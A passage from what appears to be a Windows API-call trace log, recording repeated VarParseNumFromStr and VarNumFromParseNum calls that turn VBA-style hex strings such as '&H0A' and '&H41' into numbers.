pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.457] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.457] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.457] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.457] VarParseNumFromStr (in: strIn="&H0A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.457] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.458] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.458] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.458] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.458] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.458] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.458] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.458] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.458] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.458] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.458] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.459] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.459] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.459] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.459] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.459] VarParseNumFromStr (in: strIn="&H11", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.459] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.459] VarParseNumFromStr (in: strIn="&H0C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.459] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.459] VarParseNumFromStr (in: strIn="&H12", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.459] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.459] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.459] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.460] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.460] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.460] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.460] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.460] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.460] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.460] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.460] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.460] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.460] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.461] VarParseNumFromStr (in: strIn="&H03", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.461] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.461] VarParseNumFromStr (in: strIn="&H33", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.461] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.461] VarParseNumFromStr (in: strIn="&H02", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.461] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.461] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.461] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.461] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.461] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.461] VarParseNumFromStr (in: strIn="&H01", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.462] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.462] VarParseNumFromStr (in: strIn="&H0C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.462] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.462] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.462] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.462] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.462] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.462] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.462] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.462] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.462] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.463] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.463] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.463] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.463] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.463] VarParseNumFromStr (in: strIn="&H01", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.463] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.463] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.463] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.463] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.463] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.463] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.463] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.464] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.464] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.464] VarParseNumFromStr (in: strIn="&H07", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.464] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.464] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.464] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.464] VarParseNumFromStr (in: strIn="&H0C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.464] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.464] VarParseNumFromStr (in: strIn="&H0F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.464] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.465] VarParseNumFromStr (in: strIn="&H76", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.465] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.465] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.465] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.465] VarParseNumFromStr (in: strIn="&H02", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.465] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.465] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.465] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.465] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.465] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.465] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.465] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.466] VarParseNumFromStr (in: strIn="&H11", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.466] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.466] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.466] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.466] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.466] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.466] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.466] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.466] VarParseNumFromStr (in: strIn="&H4B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.466] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.467] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.467] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.467] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.467] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.467] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.467] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.467] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.467] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.467] VarParseNumFromStr (in: strIn="&H03", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.467] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.467] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.467] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.468] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.468] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.468] VarParseNumFromStr (in: strIn="&H0B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.468] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.468] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.468] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.468] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.468] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.468] VarParseNumFromStr (in: strIn="&H76", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.468] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.468] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.468] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.469] VarParseNumFromStr (in: strIn="&H1E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.469] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.469] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.469] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.469] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.469] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.469] VarParseNumFromStr (in: strIn="&H64", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.469] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.469] VarParseNumFromStr (in: strIn="&H6B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.469] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.469] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.470] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.470] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.470] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.470] VarParseNumFromStr (in: strIn="&H1F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.470] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.470] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.470] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.470] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.470] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.470] VarParseNumFromStr (in: strIn="&H05", lcid=0x409, 